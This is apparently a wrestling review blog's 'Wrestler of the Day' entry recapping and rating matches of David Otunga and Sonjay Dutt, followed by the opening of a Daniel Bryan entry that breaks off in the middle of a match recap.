Wrestler of the Day – April 7: David Otunga/Sonjay Dutt

Today is an odd double shot, as we’re looking at Sonjay Dutt and David Otunga.

 

We’ll start with the only Harvard educated lawyer in wrestling history, David Otunga. Since it’s WWE and David Otunga is a very unique name in its own right, WWE felt the need to call him Dawson Alexander in FCW. Here’s one of his first matches, from September 6, 2009.

Dawson Alexander vs. Trent Barreta

An inset interview says that Dawson has just become a father of a son: David Otunga Jr. Leave it to WWE to make up a fake name then render it meaningless on their own TV show. Alexander runs him over with a shoulder block but gets taken down into a headlock. Another shoulder puts Trent down and a hard clothesline sends him to the floor. Back in and Trent takes Dawson down and puts on a camel clutch. It doesn’t last long though as Dawson backdrops him down and gets two off a modified spinebuster. Back up and a full spinebuster is good enough to give Alexander the pin.

Rating: D+. Again, why call him Alexander if you’re going to say his real name? These are the kind of things that make me shake my head about WWE at times. Trent didn’t get the chance to show what he could do here and it’s a shame that he had to be a jobber to Otunga. This was just a quick TV match though so the time being cut down is expected.

Otunga would be part of the first season of NXT with seven other rookies. Instead of listing off a match with each of them, here’s Otunga vs. all of them in a battle royal from March 30, 2010.

Battle Royal

Winner gets to host Raw and all eight rookies are the participants. Slater at least plays to the crowd a bit. Better than nothing. Everyone goes for Barrett as soon as the bell rings and he’s out in seconds. We come back from a break and Young is out as is Sheffield. Tarver, Slater and Bryan go out within 5 seconds of each other so it’s Gabriel vs. Otunga after about 45 seconds aired.

Basic speed vs. power thing here with Gabriel hitting the 450 that doesn’t help that much but you could argue that it hurts him. Instead of going for the kill Gabriel stands around with even Cole and Matthews getting on him. Otunga rakes his eyes and throws Gabriel over the top to win. This was, shall we say, uneventful.

Rating: D-. Yeah this was bad. Like I said within a minute that we saw six people were out. That’s not exactly something you can get into. Nothing special here at all.

Due to losing a match to Wade Barrett, John Cena was forced to join the Nexus. This allowed Wade to put him in matches, such as this one from Bragging Rights 2010.

Tag Titles: Cody Rhodes/Drew McIntyre vs. David Otunga/John Cena

WOW. Well this isn’t what I was expecting at all. Otunga and Rhodes start us off. It’s so weird to see Cena in a match 35 minutes into the show. The champions (can’t say heels I guess) control to start with very fast tags. Off to Cena who doesn’t want to tag. Cena refuses to tag out so Rhodes can drill him.

LOUD dueling Cena chants with the sucking crowd winning out over the going crowd. Not a very exciting match after the legit surprising announcement. The comeback sequence is initiated as Cena still won’t tag out. Futureshock is avoided but Drew gets a blind tag and Cross Roads are countered into the STF to give Nexus the belts. I don’t think Otunga landed a single punch.

Rating: D+. This was a glorified handicap match. I get that Cena is a far bigger star than either of the champions but to beat them both in just a matter of minutes is a bit of a stretch I think. This wasn’t much but I like them surprising us for a change on PPV. It wasn’t bad and I’m glad it wasn’t on TV, but this wasn’t much.

The title reign literally lasted one day as Nexus leader Wade Barrett made Cena lay down so that Justin Gabriel and Heath Slater could win the belts, keeping them in Nexus but screwing with Cena at the same time. Otunga would fall out of favor with Barrett for various reasons, meaning he had to win a match to stay on the team. The match was a lumberjack match and took place on November 12, 2010.

Edge vs. David Otunga

All of the Smackdown roster comes out and stalks Nexus. For no apparent reason they don’t close from both sides. Why is Goldust on a Smackdown show? Even Finlay is out there. Edge gets a spinwheel kick to start as Nexus is on the ramp rather than around the ring. We take a break less than a minute in and it’s all Edge. The Smackdown guys (including the Harts too) beat on Otunga before sending him back in.

Del Rio trips up Edge as he’s getting back in the ring so Otunga can take over a bit. His offense is so generic his finishing move might as well be called the vanilla ice cream drop. Edge makes his comeback after Otunga’s biggest move in his offensive flurry is a suplex. How could Edge come back after THAT? Edge gets a rollup for two.

He pauses to baseball slide Del Rio which starts a big brawl on the floor. In the ensuing chaos McGillicutty comes in and takes the spear that was supposed to be for Otunga. Edge sets for another on the A-List but Kane comes through the crowd and chokeslams him as Otunga crawls over for the pin to stay in Nexus at approximately 6:30 of 10:00 total.

Rating: D+. This just didn’t do it for me at all. Otunga is a solid talker and definitely has the look but he can’t back it up in the ring at all. This was just barely ok and the gimmicks were pretty clearly there to give us some cover for all of the inadequacies in David’s game. This was pretty bad and it never really went anywhere at all.

After the Nexus broke up, Otunga and McGillicutty continued to team up. Given how lame the division was around this time, they were able to get a Tag Team Title shot on the May 23, 2011 episode of Raw.

Tag Titles: Big Show/Kane vs. David Otunga/Michael McGillicutty

I don’t get why these two didn’t have the tag title shot last night since they won last week. Punk has boots up to his thighs that are white/yellow and look a bit odd. He sits in on commentary here. Kane and Otunga start us off and David heads to the floor to avoids a seated dropkick. A small chase starts but Otunga misses an elbow drop as Kane fakes him out.

Show comes in to a big pop and here’s Michael as well. Show sends him to the floor with ease as we take a break. Back with Nexus working over Kane as Punk says he doesn’t care which Nexus team wins the titles. Orunga gets a neckbreaker on Kane for two. Show comes in soon thereafter and the beatdown is on. Punk talks about how everything is going to be ok and Ryan tries to come in. Kane takes him down but Punk says he has faith and kicks Show in the head. A double DDT to Show and we have new champions at 8:54 total.

Rating: C. Not a bad match here and it’s probably a good thing to see the giants lose the titles. They can only go so far with the titles before things get really boring with them. Nexus needed something to go with here and the tag titles tend to be the first thing you’re given to get something established.

The team would hold the titles over most of the Summer before losing them to Air Boom. We’ll wrap it up because that’s a good pun for the following match. This is from the Holiday Special live Smackdown on November 29, 2011.

Randy Orton vs. David Otunga

This is a street fight. There are a bunch of Christmas trees at ringside as well as presents that slide around the floor. Otunga is in red shorts now instead of his normal trunks. Randy throws him into a bunch of trees and then the announce table. There’s a tray of cookies there so Orton has a bite, gives a face as if to say not bad, then smacks Otunga with the tray.

He grabs a wreath off the post, shouts HO HO HO in Otunga’s face (legit made me laugh) and sends him into the steps. Otunga goes under the ring and finds a kendo stick made to look like a candy cane. Orton takes him down though and beats Otunga with it as Otunga runs. Orton picks up a present and chucks it at David’s head to knock him down.

They go up the stage and Otunga goes into the big tree. There’s an elevated DDT to the floor but Barrett runs out for the beatdown. It would have helped a lot had Orton not looked over his shoulder just before the DDT. The big boot he takes Orton down with gets two and Otunga’s time is measured in seconds. There’s the finishing sequence and the RKO ends this at 7:38.

Rating: C+. This was meant to be a totally fun match and that’s all it was ever supposed to be. Barrett running in even advances the storyline a bit and it helped things somewhat. I had a very good time with this but I’m a total Christmas geek so I’m about as biased as you can be here. Fun match and it worked all around.

David Otunga is a guy with a great look who got caught up in a bad gimmick and never escaped. At the end of the day he just wasn’t cut out to be a big deal in WWE but his real life legal background should be enough to get him on television as a more muscular Clarance Mason at the least.

We’ll go a bit less mainstream now with Sonjay Dutt.

Dutt started off in the indies around 2002. We’ll take a look at an indy I’ve wanted to check out but never have gotten around to: Major League Wrestling. It’s basically a company that took a bunch of ECW and WCW guys and some indy talent and tried to make something once WWE was the only game in town. Dutt was part of it and because it’s only Junior Heavyweight Champion. Here’s a title defense from January 10, 2004.

Junior Heavyweight Title: Sonjay Dutt vs. Jack Evans

Evans is the king of the flippies if you’re not familiar with him and we get a little breakdancing before the match. Teddy Hart, perhaps the most annoying “wrestler” of all time is on commentary. Dutt runs him over to start before grabbing an armbar. Back up and Evans hits a running dropkick, only to be taken down with ease. Sonjay lifts up Evans’ shirt to fire off some chops before cranking on a chinlock. Evans comes back and sends him to the floor, only to be dropped face first onto the apron.

Back in and a hurricanrana gets two for Sonjay before a leg lariat puts Jack down again. A running clothesline spins Evans inside out and a double jump elbow drop (jump from the top into a springboard) gets two for the champion. The Hindu Press (Phoenix Splash) misses so Sonjay rolls him up for two instead. Not that it matters as a standing Shooting Star is enough to pin Evans.

Rating: D+. This wasn’t much either but it was a huge relief to not have Evans doing a bunch of flips to get on my nerves. At the same time though, I had to listen to Teddy Hart for seven minutes and my blood pressure is up as a result. Nothing to see here either but I’m assuming it sets up Teddy as the next challenger as he and Evans laid out Sonjay post match.

Sonjay would soon go to TNA and face Raven in a Hangman’s Horror match on August 18, 2004. Hangman’s Horror means there are straps hanging from each rope and you have to choke your opponent out to win.

Raven vs. Sonjay Dutt

Sonjay is replacing an injured Sabu who he had been teaming with recently. Dutt tries to jump Raven to start but a few right hands knock him back. Raven drops him onto the buckle to prevent having a rope put around his neck but misses a charge, sending him out to the floor. Sonjay hits a nice dive to send Raven into the barricade before hitting a running bulldog back in the ring. Two men in hoods are seen watching from somewhere in the arena.

Raven takes over on the floor with the Russian legsweep to send both guys into the barricade. Back in and Sonjay tries a hurricanrana but Raven just shoves him away. Raven puts the chain around Dutt’s throat but goes to get a chair, allowing Sonjay to try a choke with his legs. It works for a bit but Raven gets the chair up and knocks Dutt silly. Sonjay fights back with right hands and some clotheslines followed by an enziguri.

A springboard dropkick puts Raven down but Dutt goes to get a trashcan. Dutt hits a stiff shot before putting the chain around Raven’s neck. The hooded guys are closer to the ring now. Sonjay now has two chains tied around Raven’s neck and it’s time for some trashcan shots. One of them knocks a chain loose but Raven goes down anyway. Sonjay goes up but gets slammed through a table at ringside to put both guys down. Raven heads out to get him but walks into a fireball, allowing Sonjay to choke Raven for the shocking upset win.

Rating: C-. This was a decent wild brawl but the ending was shocking. I mean….it’s Sonjay Dutt beating Raven. That’s just not something you expect to see happen but it did here and it was…..well it wasn’t clean at all but it’s a Hangman’s Horror match so what are you expecting? This didn’t lead anywhere for Dutt as far as I know.

TNA would soon start running monthly PPVs with the X-Division still being a focus. Here’s a fourway match from Lockdown 2005.

Xscape Match: Matt Bentley vs. Sonjay Dutt vs. Chris Sabin vs. Shocker

I miss the HAIL SABIN thing. The idea here is you have to get rid of two guys by traditional means and then get out of the cage once it’s one on one. This isn’t for anything apparently. Shocker is a luchador. Sweet goodness they have to tag in this. Does anyone think these things through? Sabin and Dutt give us a gymnastic routine to start which gets a well rounded golf clap.

Dutt was insane to watch. He wasn’t particularly good but he was fun to watch. Tenay tries to tell us that this is the tallest cage in wrestling. They’ve never been to an OVW cage match. That this is taller than the Cell. Dutt and Shocker double team Bentley. He never was very good but he’s Shawn Michaels cousin so there you go. Dutt is bleeding from the elbow. Bentley beats him up for a bit. Thankfully the Bentley Bounce isn’t part of this match.

More gymnastics from Dutt who brings in Sabin again. This is a spotfest if I’ve ever seen one. There’s no flow or anything to it as they just move from spot to spot. Not saying it’s bad mind you, but it’s just kind of all over the place. West: the wall of the steel cage is like a wall of steel. Somehow he’s still better than Tazz. Shocker comes back in and gets a cradle on Bentley for two.

Bentley gets a reverse Tarantula on Shocker, as in his legs are wrapped around Shocker’s head and he’s grabbing Shocker’s feet while their backs are facing each other. Dutt comes in to put a chinlock on Bentley so Sabin comes in to put a Boston Crab on Dutt. Cool looking spot but it’s not like it gets us anywhere as they break it in a few seconds.

Sabin hits a BIG running powerbomb on Dutt but Shocker saves for no apparent reason. Bentley sends Dutt into the cage but Shocker cleans house and hits a corkscrew elbow to get rid of Dutt. Shocker vs. Bentley now with Shocker going up but getting hit by a Northern Lights Suplex off the top for two.

Trinity, the chick there with Bentley, comes up to help him so Traci comes out to stop her. And so much for that as she gets shoved off and hurts her ankle. Trinity goes to the top of the cage and hits a BIG moonsault off the top to take out all three guys. Traci comes in again and AGAIN gets shoved out. Sabin gets Cradle Shock on Bentley to get us down to one on one.

Ok so now it’s an escape match. They both get crotched on the top rope and we’re both down. And then they both climb at the same time and fight on top of the cage before both drop down but Shocker hits first. I’d love someone to just jump off the top and run through the door instead of climbing down like that one time. Kind of a weak ending.

Rating: C+. Pretty fun match here but the ending and the tagging hurt it a good deal. That moonsault from Trinity was pretty freaking awesome though and I’m surprised it’s not on more highlight reels. It’s a shame this wasn’t like, for something other than bragging rights I guess. Not bad and I’ve never gotten why Shocker just kind of left as he was pretty good.

Sonjay would team up with Chris Sabin to win a tournament, earning them a Tag Team Title shot at Against All Odds 2006.

Tag Titles: America’s Most Wanted vs. Sonjay Dutt/Chris Sabin

Sabin and Dutt won some tournament to win this shot. Sabin might have an ankle injury coming into this. Dutt and Storm start and the fans want the Cowboy killed. Dutt starts with his usual flipping offense and a cross body for two. Sabin comes in with some of the same double team offense that he and Shelley would use as the Guns. Sabin gets in a kick to the ribs of Storm but Harris trips him up and wraps the bad ankle/leg around the post.

AMW starts in on the leg and it’s off to Harris. He takes off the knee wrap and puts on a leg lock. Sabin gets up and tries to fight out of the champions’ corner, only to be taken right back down by the leg. Storm comes back in with a chinlock and a Backstabber for two. Back to Harris as the leg work continues. The referee checks on Sabin’s knee but Storm jumps him anyway.

Sabin misses an enziguri and kicks Storm off so he can make the hot tag. Off to Sonjay who speeds things way up. A rana and low dropkick get two on Storm. A springboard double dropkick puts the champs down as does a springboard moonsault press for no cover. Sabin saves Sonjay from a Hart Attack and Dutt counters the Catatonic into a sloppy rollup for two. The champs bring in a chair and Sabin hits a tornado DDT on Harris onto said chair. A springboard splash by Dutt gets two on Harris but Storm puts the knee into the barricade. Hindu Press misses and the Last Call sets up the Death Sentence to retain.

Rating: C. This was pure formula and there’s nothing wrong with that at all. The division was kind of weak at this point as Team 3D was busy fighting some incarnation of Team Canada so AMW needed some opponents tonight. Sabin was the guy you called when you needed a filler for a match on the card and he filled that role very well.

We’ll jump ahead to 2007 when Sonjay Dutt started a team with Black Machismo Jay Lethal. Lethal would become X Champion and Dutt wanted a shot, which was granted to him at Genesis 2007.

X-Division Title: Jay Lethal vs. Sonjay Dutt

They’re partners who are having a face vs. face match. Lethal is champion and is dating So Cal Val here. Scratch that as they haven’t hooked up yet. Dutt and Jay hug pre-match but in a manly way. Things start fast and it’s a stalemate. They botch something but try to turn it into a backslide by Jay. They reverse some pinfalls and Sonjay slaps him to tense things up a bit.

There’s a harder slap and Lethal fires back. Now he offers a hug as we’re playing some mind games. Dutt throws him to the floor and there’s a HUGE flip dive by Sonjay. There’s something cool about just whipping one of those out. The fans are split now. Dutt takes over and hits a double knee to the chest for two. Lethal tries to get something going but jumps into a dropkick for two.

Dutt seems to be questioning his mid-match heel turn and the delay lets Lethal get a middle rope leg lariat to put both of them down. Moonsault press gets two for the champion. Springboard missile dropkick sends Dutt to the floor and there’s a suicide dive as Lethal is in control. Back inside they speed things up and exchange some counters until Jay gets in a solid kick for two.

Dutt goes up for a moonsault but Jay rolls away. Dutt doesn’t miss a beat and lands on his feet where he hits a standing moonsault for two. Lethal shoves him off so Dutt hits a running standing shooting star press for two. The fans say that was awesome and for once they’re right. Dutt plays possum and grabs a cutter but doesn’t let go and rolls back into a his camel clutch finisher. Lethal grabs the rope quickly as this has to be close to finished. Lethal is all ticked off and fires off punches in the corner but charges into a pendulum kick. Dutt tries to get too fancy and walks into the Lethal Combination. The big elbow retains the title.

Rating: B. Where did this come from??? This was a very fun match with them cranking it up time after time. I can see why this feud went on forever as they kept trying to hit this level again or even top it. This is what the smaller guys are all about: having a fast paced match to entertain the crowd and it worked very well here. Fun match.

The two would continue to team together as Jay Lethal proposed to his girlfriend So Cal Val. This made her Elizabeth to his Randy Savage, somehow making Sonjay Dutt Hulk Hogan. As everyone predicted, Sonjay got jealous and turned heel, leading to the Ladder of Love match (just go with it) at No Surrender 2008.

Jay Lethal vs. Sonjay Dutt

Aww they both brought flowers. If nothing else we can look at Val in a blue dress. Oh and if you can’t see the turn coming from a mile away here, you’re blind. Ladder of Love sounds like a really bad reality show that gets a big rating on network TV. It’s of course a big gymnastics exhibition to start us off. And now that we’re into a big feud and gimmick match, we’re told that Salinas has been attacked by Jackie in the bathroom and is gone for the night. How riveting.

Dutt is sent into the ladder early on as Lethal has dominated the entire time. Lethal gets a back drop onto the ladder which is bridged between the barricade and the ring to half kill Dutt. Lethal goes up but Dutt gets a springboat to get onto the ladder and make the save. The fans think this is awesome. Not entirely true but it’s getting there. Lethal puts a ladder on top of a ladder so it would be like a T if the vertical ladder was closed.

Sonjay crotches Lethal and West says Lethal is wearing a ladder as pants. Lethal gets caught in a Tree of Woe with his head in a ladder so Dutt hits a baseball slide to more or less kill him. Dutt gets some chairs because that’s what heels do I guess. Out to the floor now where Lethal can’t get a powerbomb onto a ladder but Dutt can get a neckbreaker onto said ladder.

This is pretty good stuff so far. West: We should put a woman on the line every time! Naturally Lethal can get back in almost immediately and we have a pair of ladders set up now. Lethal manages to get stuck laid across two ladders so Dutt hooks a camel clutch on top of the ladders in a pretty cool looking visual.

Lethal manages to flip Dutt over so he crashes to the mat. Jay’s foot is caught in the ladder though so Val comes in to help him out. Dutt gets in her face until Lethal helps her. While he’s checking on her Dutt tries to get up the ladder. Lethal chases him and naturally Val hits him low so that Dutt can get the win. They make out post match.

Rating: B. Rather fun match here with both guys hammering each other rather well. The ending was of course about as predictable as anything you could ask for but the buildup to it worked rather well. This more or less ended the interaction between these two and Dutt never meant anything anymore.

Sonjay would be gone from TNA soon after this and mainly go to ROH. We’ll skip over that though as the shows are harder to find than I care to look. Instead here’s an indy show that was far bigger than it should have tried to be: AWE Night of Legends in 2011.

Jamin Olivencia vs. Sonjay Dutt

Apparently these two are at least semi-regulars in AWE. They stare at each other a lot and Jamin shouts his name again. We immediately start talking about the main event
as arm holds are traded. Jamin shouts for the third time and it’s a standoff. He starts to do it for the fifth but Sonjay grabs a headlock, making him the most popular act on the show so far. Really basic stuff so far until Sonjay nips up to slap Jamin in the face.

Things start speeding up a bit with Sonjay hitting a headscissors to send Jamin to the outside. Back in and Dutt snaps off a forearm to the head but Sonjay fires off even more shots to the face. What appeared to be a standing Lionsault is broken up and Jamin hits a running spinning splash for two. Off to a chinlock by Jamin for a bit until Sonjay fights out and sends him out to the floor. A BIG dive takes Jamin down and gets two back inside.

Olivencia hits a spinning clothesline for two but Dutt comes back with a running boot to the face and a springboard splash for two. Jamin comes back with a belly to back suplex to put both guys down. Sonjay fires off more kicks to stagger Jamin but gets hit by a jumping knee to the face. Olivencia backdrops him down but gets superkicked down as well. Sonjay wins a forearm slugout and we get the sunset flip/heel grabs the rope/referee kicks his arms free spot for two.

The referee gets bumped and Jamin hits a low blow on Sonjay, followed by the O Drop for the pin. What is the O Drop you ask? It appears to be a jumping DDT, but since the camera cut back to the referee with Jamin in mid jump, it might have been a carnival act similar to juggling oranges as 5000lbs of zucchini falls on Dutt for the pin.

Rating: C+. Until the ending here, this was getting pretty good. I’ve heard people say this show is at the level of Heroes of Wrestling or even worse which now scares me even more. Heroes had nothing of this level of speed or interest, so how bad can the rest of this show be? Anyway, these two looked good out there although Olivencia is pretty bland.

Dutt would head back to TNA soon after this and appear at No Surrender 2012.

X-Division Title: Sonjay Dutt vs. Zema Ion

Ion is defending. Feeling out process to start with Sonjay taking over. Taz praises him and they head to the floor with Sonjay hitting a slick roll across the apron into a rana on the floor. Back in and Ion takes over with some basic stuff and puts on a chinlock. We cut to the back where cops are coming to lock down the building. Sonjay makes his comeback with a headscissors and then another. He goes up but gets stopped by Zema, only for the champ to get release suplexed out to the floor.

A middle rope moonsault to the outside puts the champ down and back inside Sonjay gets two. Ion counters a rana into a powerbomb on the bad arm Sonjay came in with and it’s Rings of Saturn time. Dutt makes the rope and takes the champ down again, only to miss the moonsault into the double stomp. We get a pinfall reversal sequence resulting in a backslide into a Gory Bomb from Ion to retain at 11:38.

Rating: C. The match was fine but it was dead on arrival all around after the segment before it. Having the match thrown onto the card did it no favors either as there was no story to it at all and no reason to believe the champ was ever in any danger. This just didn’t do anything for me at all but the match was fine technically.

We’ll wrap it up with a One Night Only special called X-Travaganza.

Bad Influence vs. Petey Williams/Sonjay Dutt

Williams and Daniels get things going with Petey being sent in the corner but coming out with a headscissors and a smack to the face of Kazarian. Off to Dutt for a double elbow for a two count and some shoulders into Daniels’ ribs in the corner. Kaz comes in and ducks a kick, only to be caught by a standing moonsault for two. A dropkick gets the same for Dutt and it’s back to Petey.

Williams hooks a Sharpshooter on Kaz while Dutt hooks an Octopus Hold on Daniels. Petey hits some slick combo moves on both guys by hitting both guys at once before shrugging off a double leg drag. Kaz finally comes back and drapes Williams over the top rope to send him to the floor and take over. Off to Daniels for his slingshot elbow drop followed by the slingshot legdrop from Kaz for two. Daniels hooks a test of strength on Petey and climbs the rope to drive a knee into his chest for two.

We hit the nerve hold by Daniels for a bit before Petey is driven into the corner to break up a comeback. Kaz comes in for a front facelock as things slow down a bit as you would expect them to at some point. Petey finally fights up and gets to the corner for the hot tag to Sonjay. Dutt hits a cool bulldog into the middle buckle and a springboard legdrop onto the back of Daniels’ head for two.

Sonjay misses a springboard clothesline to Daniels and gets caught by a tornado DDT for Kazarian as Taz rips into Earl Hebner for being old. Dutt escapes Fade to Black but gets caught in a powerbomb/neckbreaker combo for two. Williams comes back in for his headscissors into a Russian legsweep for two on Daniels but Kaz breaks up the Canadian Destroyer.

Dutt hits a standing Sliced Bread on Kaz for two more but Daniels makes the save. Petey sends Daniels to the floor and hits a sweet slingshot rana to take him down. Dutt kicks Kaz in the head and loads up the moonsault double stomp, only to have Daniels break things up. Fade to Black puts Dutt down and the BME is good for the pin for Daniels.

Rating: B. Good fast paced formula based tag match here and that’s really hard to screw up when you have talented guys like these people. Dutt continues to look awesome since his comeback to the company but unfortunately TNA feels the need to focus on bland guys like Zema Ion for reasons I can’t fathom.

Sonjay Dutt is considered the best X-Division guy to never win the X Title and I can’t say I disagree. The guy is a very entertaining high flier and could put on some awesome showcases when he had the right opponent. That’s something we got to see a lot of in TNA and I’ve always had fun watching Sonjay, even when he was supposed to be Hulk Hogan….or something like that I think.

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Wrestler of the Day – April 6: Daniel Bryan

It’s Wrestlemania Sunday so who else could it be? Today is Daniel Bryan.

 

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Bryan was originally known as American Dragon and would be trained by Shawn Michaels at the Texas Wrestling Academy. The school also had a wrestling promotion, where Dragon fought Spanky (Brian Kendrick) for the TV Title from January 2000.

TWA TV Title: American Dragon vs. Spanky

Both guys are very young with Bryan (in a mask) being 19 and Spanky at about 20. Shawn Michaels is on commentary here. Stereo dropkicks don’t get anyone anywhere before they trade chops in the corner. Dragon nails a hard shot to the back and they shake hands. Spanky spins out of a wristlock but gets hiptossed down for his efforts. The champion walks the corner and comes down with a headscissors off the top for two.

Spanky tries his backflip out of the corner but gets his head taken off with a running clothesline. Dragon puts on a standing guillotine choke before just dropping him down. A rolling cradle out of the corner gets two for Dragon and he elbows Spanky in the jaw to keep control. Dragon is sent to the floor with Spanky following him out with a HUGE dive.

Back in and a missile dropkick drops the Dragon again and they head outside again. Using the steps as a springboard, Spanky takes the challenger down with a clothesline before they head back inside. A series of hard clotheslines get two for Dragon and he hooks a dragon suplex, drawing in someone named Shooter for a DQ.

Rating: C-. The match was pretty sloppy at times but you have to give them breaks as they’re both brand new out there. Of course they would get a lot better over time and figure out their styles. This was very indy flippy style but to be fair, that was still cutting edge stuff at the time.

After a few years in Japan and in the indies, Bryan was good enough for a jobber spot in the WWE. Here’s a well known match from Velocity, the C show of its day on February 8, 2003.

John Cena vs. Bryan Danielson

Cena has long yellow pants on here and commentator Ernest Miller is annoyed that he didn’t rap to the ring. We also hear about Cena challenging Brock Lesnar for a match on Smackdown. Bryan takes him down with a wristlock into an armbar before Cena takes him down with a test of strength. Danielson bridges up and Cena can’t break him down, allowing Bryan to monkey flip him down. That’s fine with Cena as he runs Daniel over with a clothesline to take over. We hit the bearhug for a bit until Danielson fights out with a nice enziguri. Bryan charges into a boot though and the ProtoBomb is enough for the pin.

Rating: C-. Not terrible here as Bryan got to show off a bit despite being destroyed in the end. I love seeing stuff like this as it’s so odd to see this as a nothing match on a nothing show instead of the main event of Summerslam. Cena was still new as well, having only debuted about eight months earlier. It’s strange to see either guy as a rookie like this.

One of Bryan’s mainstays was ROH, where he would dominate for several years. This would include a year plus long reign as World Champion, including this defense against Homicide at Final Battle 2006.

ROH World Title: Homicide vs. Bryan Danielson

We have 54 minutes left in this tape. Let’s see if these two are as good as they’re said to be. We’re in Homicide’s hometown so he’s WAY over. It’s a good thing his first name isn’t commonly known. It might be hard to take a guy named Nelson seriously as s street thug. Danielson’s Final Countdown intro is cool too so I’ll give him that. He certainly has his fans too.

I’ve heard great things about both guys in this company so show me what you’ve got. We get the big match intros which are always fun. Danielson is heel here because he more or less has to be. We stall forever as the fans chant ring the bell. Danielson flips him off instead of shaking his hand like the Code of Honor stipulates. Here we go. About forty six and a half minutes to go in the tape at the bell so we’ve got a LOT of time here.

Some guy shows up to do commentary but his name is incomprehensible. We get a long feeling out sequence and Homicide takes off his bandana. Homicide has apparently had some shady decisions in title matches and if he doesn’t win here he’s gone, more or less saying he wins. At least I think so as he came to TNA around this time.

Smokes, the guy that got hurt earlier, isn’t here due to Pearce and Hagadorn. Homicide has a bad shoulder apparently thanks to Danielson last night. Danielson has tights like Regal used to wear. We have a lot of quick holds as they try to gain control. Apparently Danielson has a bad shoulder too.

No one really has an advantage for more than a few seconds here so we’re really still feeling each other out here. Apparently in a previous title match Homicide was getting hit in the head a lot and the referee stopped it which he disagreed with. The surfboard continues to look completely insane every time I see it.

This is wrestler vs. brawler here which is always an interesting dynamic. We get a slingshot suplex as Danielson is in control at this point. Scratch that as Homicide takes over. We hit the floor and Danielson is in trouble. We get the I HAVE TIL FIVE thing which I don’t think I’ve ever seen before. Three Amigos takes over for Homicide as Eddie had been dead just over a year at this point.

And at about 11 minutes in, Pearce and Hagadorn run in for the DQ. Are you kidding me? Danielson leaves with the belt as Homicide’s Crew makes the save. The crowd LOSES IT over this as even the commentators are saying YOU HAVE TO BE KIDDING ME. Apparently they are as the referee says no way it ends that way and let’s keep going!

Here we go again as we’re back at it. Oh and the running in heels hit a spike shoulderbreaker on Homicide’s bad shoulder so it’s hurt now. I don’t get the point of the run in at all here. At least it happened I guess you would say early on in the match rather than later so that’s good. It’s his right arm if you’re curious.

Smokes is at ringside now. Oh joy. Danielson is in control now as you would expect him to be. Danielson goes for a flying headbutt and gets caught in a Diamond Cutter (Yes I know it’s properly called an Ace Crusher. If you want to argue which name is more famous I’d love to hear it) Also, assuming the headbutt was launched when Homicide was on the mat, dang he got up fast.

Homicide speeds things up and dives into the second row through the ropes in a cool looking spot. Now Danielson’s shoulder is hurt. This has been a very back and forth match. Danielson gets caught in an armbar but gets to the ropes for the escape. I love that jumping European Uppercut off the top. A crossface chickenwing goes on but more ropes are grabbed.

They trade strikes and hit the floor. Homicide slides back in and hits the ropes so he can….slide back out. Sure why not. Danielson hits a dive into the first few rows that looked great. Can we get rid of that Smokes idiot? He’s getting on my nerves. Danielson starts the series of elbows to the head like he did in the previous match but it doesn’t work.

There’s the crossface chickenwing and the body scissors in the middle of the ring. In a cool spot, the arm comes down a third time but as the referee goes for the bell, Homicide grabs his leg. And Smokes of course has to pour water on Homicide. Seriously, can someone shoot this guy?

Danielson doesn’t let go on the five count so Homicide just gets up. Uh, why didn’t he DO THAT EARLIER? Danielson gets Cattle Mutilation. One thing I want to know: where in the world did he come up with that name? Did he throw that on one day and was thinking about what would happen if he did it to a cow?

He hooks it three times but Homicide won’t tap. He throws in more elbows to the head but he stays in it. Homicide gets the Cop Killer (Vertebreaker for you WCW fans) for a LONG two but Danielson grabs the ropes. Homicide pulls a Randy Savage and goes for the ring bell which leads nowhere.

And then Danielson gets a low blow and small package for two and then Homicide hits a lariat for the pin. Seriously, that might have been the most out of nowhere ending ever. The ring mostly fills up for a celebration. Now can we please kill Julius Smokes?

Rating: A. This was indeed a great match and well worth seeing. There were some moments I didn’t like, but they were few and far between. Homicide winning was pretty clear but it came off well. They built up to a great match and I liked what I saw. Danielson is still overrated, but this was very good stuff. Homicide just doesn’t feel like a world champion to me, but I was impressed. Solid match and worth seeing.

Danielson would be back and get a shot at World Champion Nigel McGuinness at the 8th Anniversary Show.

ROH World Title: Bryan Danielson vs. Nigel McGuinness

The fans are split here and it’s a feeling out process to start with Nigel grabbing a wristlock, only to have Danielson dropkick the knee out to put him down. Back up and they fight over a test of strength until Bryan takes him down by the legs. There’s a bow and arrow hold to the champion before pinning Nigel’s arms down to the mat for two. Back up and Danielson avoids Nigel’s big lariat before calling on the crowd’s xenophobia by starting a USA chant.

Nigel takes him down with a headlock takeover but Bryan easily counters into a headscissors. McGuinness fights to the ropes but is very frustrated at not being able to slow down the challenger. Danielson is taken into the corner for some chops but does a headstand in the corner and catches Nigel with a dropkick. Nigel is sent to the floor and taken out with the FLYING GOAT as things speed up.

Back in and Bryan hits a missile dropkick before suplexing Nigel down with ease. McGuinness rolls to the apron for a breather before shoving the referee down for the lame DQ. He grabs the mic and says that the wankers in the crowd got the title match that they wanted and goes to leave, only to run into Austin Aries, Delirious, and I believe Kevin Steen and Roderick Strong. Aries says get back in the ring or go through all of them. McGuinness gets back inside and we’re at it again.

Danielson chops away in the corner but Nigel gets in a shot to the shoulder and sends it into the buckle and post. The fans shout SCREW YOU NIGEL and he tells them to chant louder. Off to an armscissors before Nigel slaps Bryan in the face, making the fans beg Bryan to mess him up. The champion wraps Bryan’s arm around the rope and then the post while mocking the USA chant. Back in and Nigel traps the arm down and cranks on the neck but Bryan comes back with a big kick to the head and a knee to the ribs.

Bryan is starting to feel it and sends Nigel to the apron where a running kick to the back sends the Brit to the floor. Nigel isn’t done yet though and backdrops Danielson over the top to the floor and the fans quiet down again. Bryan reverses a whip into the barricade before dumping Nigel into the crowd, setting up a HUGE springboard dive over the steel and into the crowd. Back in and McGuinness blocks another missile dropkick but gets caught in a triangle choke.

Nigel’s big lariat puts Danielson down and the fans complain that it’s the same move McGuinness always uses. Note that they’re complaining about this in a BRYAN DANIELSON match. Danielson sits on the top rope and catapults Nigel out to the floor again. McGuinness blocks another FLYING GOAT with an uppercut (thankfully Bryan was clearly stopping before he reached the ropes), setting up the Tower of London on the floor. The champion is busted open a bit as well.

Back in again and Nigel puts Danielson in Cattle Mutilation (Bryan’s hold) but Bryan rolls around into a cover for two. Danielson ducks a big lariat but crotches himself on the ropes, setting up a middle rope clothesline and another Tower of London for two. There’s a seated armbar as Nigel remembers the arm work from earlier. Danielson raises his arm and waves to the crowd as he makes it into the ropes for the break. Back up and Danielson hits a Rolling Chaos Theory out of the corner to put both guys down.

